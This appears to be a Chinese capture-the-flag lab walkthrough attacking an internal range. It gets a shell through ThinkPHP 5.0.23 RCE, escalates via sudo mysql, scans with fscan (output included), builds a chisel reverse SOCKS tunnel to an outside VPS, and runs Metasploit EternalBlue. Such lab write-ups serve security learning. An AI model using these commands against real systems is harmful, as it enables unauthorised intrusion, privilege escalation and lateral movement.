vps---外网靶机1---信呼win---永恒之蓝win---flag3 win .1.15 .1.18 .1.21 .1.2 kali
flag01
ThinkPHP 5.0.23 RCE
有报错,判断ThinkPHP 5.0.23
getshell之后
sudo -l
sudo mysql提权
1 2 3 4 5
(www-data:/var/www/html) $ sudo -l Matching Defaults entries for www-data on ubuntu-web01: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ubuntu-web01: (root) NOPASSWD: /usr/bin/mysql
(www-data:/tmp) $ ./fscan -h 172.22.1.15/24 (www-data:/tmp) $ ./fscan -h 172.22.1.15/24 > /tmp/res.txt (www-data:/tmp) $ cat /tmp/res.tct cat: /tmp/res.tct: No such file or directory (www-data:/tmp) $ cat /tmp/res.txt start infoscan trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 172.22.1.2 is alive (icmp) Target 172.22.1.15 is alive (icmp) Target 172.22.1.18 is alive (icmp) Target 172.22.1.21 is alive [*] Icmp alive hosts len is: 4 172.22.1.2:88 open 172.22.1.18:139 open 172.22.1.15:22 open 172.22.1.21:139 open 172.22.1.2:139 open 172.22.1.21:135 open 172.22.1.18:135 open 172.22.1.2:135 open 172.22.1.18:3306 open 172.22.1.18:80 open 172.22.1.15:80 open 172.22.1.21:445 open 172.22.1.18:445 open 172.22.1.2:445 open [*] alive ports len is: 14 start vulscan [*] NetInfo [*]172.22.1.18 [->]XIAORANG-OA01 [->]172.22.1.18 [*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin [*] NetInfo [*]172.22.1.2 [->]DC01 [->]172.22.1.2 [*] NetInfo [*]172.22.1.21 [->]XIAORANG-WIN7 [->]172.22.1.21 [+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1) [*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393) [*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1 [*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login [*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600 [*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统 [+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
flag02
配置代理
蚁剑上传chisel,建立隧道
1 2 3 4 5
./chisel server -p 28190 ./chisel client 39.105.51.11:28190 R:28191:socks
sudo vim /etc/proxychains4.conf socks 39.105.51.11 28191
sudo vim /etc/proxychains4.conf socks 39.105.51.11 28191 socks 127.0.0.1 1081
msf打eternalblue
1 2 3 4 5
proxychains4 -f /etc/proxychains4.conf msfconsole use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp_uuid set rhost 172.22.1.21 run